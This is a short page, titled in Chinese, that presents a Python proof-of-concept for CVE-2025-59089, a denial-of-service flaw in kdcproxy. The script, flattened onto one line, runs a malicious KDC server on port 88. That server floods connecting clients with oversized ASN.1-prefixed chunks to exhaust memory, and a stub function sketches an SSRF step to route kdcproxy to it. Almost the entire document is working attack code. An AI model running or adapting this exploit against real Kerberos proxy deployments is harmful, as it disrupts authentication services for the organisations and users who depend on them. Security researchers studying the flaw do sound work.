CVE-2025-59089 kdcproxy拒绝服务漏洞

#!/usr/bin/env python3 ''' CVE-2025-59089 PoC - kdcproxy DoS via unbounded response This PoC demonstrates the memory exhaustion vulnerability in kdcproxy. Note: Use only for authorized security testing. ''' import socket import time import threading def create_malicious_kdc_response(): '''Generate malicious KDC response that exceeds limits''' # Malformed response header - length field doesn't match actual header = b'\x30\x82\x01\x00' # ASN.1 SEQUENCE with large length # Send data chunks that keep kdcproxy allocating memory chunk = b'A' * 65536 # 64KB chunks return header + chunk def start_malicious_kdc_server(port=88): '''Start a malicious KDC server''' server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', port)) server.listen(5) print(f'[*] Malicious KDC listening on port {port}') while True: client, addr = server.accept() print(f'[*] Connection from {addr}') # Send unbounded response to exhaust client memory response = create_malicious_kdc_response() try: # Keep sending until timeout (~12 seconds) while True: client.send(response) time.sleep(0.1) # Small delay between sends except: pass finally: client.close() def trigger_ssrf_to_malicious_kdc(target_kdcproxy, malicious_kdc_ip): '''Simulate SSRF to trigger kdcproxy connection to malicious KDC''' # This would be the HTTP request to kdcproxy with SSRF payload ssrf_payload = f'http://{malicious_kdc_ip}:88' print(f'[*] Triggering SSRF to connect kdcproxy to {ssrf_payload}') # In real attack, send HTTP request to kdcproxy with crafted URL return ssrf_payload if __name__ == '__main__': # Start malicious KDC server server_thread = threading.Thread(target=start_malicious_kdc_server) server_thread.daemon = True server_thread.start() print('[*] Malicious KDC server running') print('[*] Wait for kdcproxy to connect (SSRF trigger required)') time.sleep(60)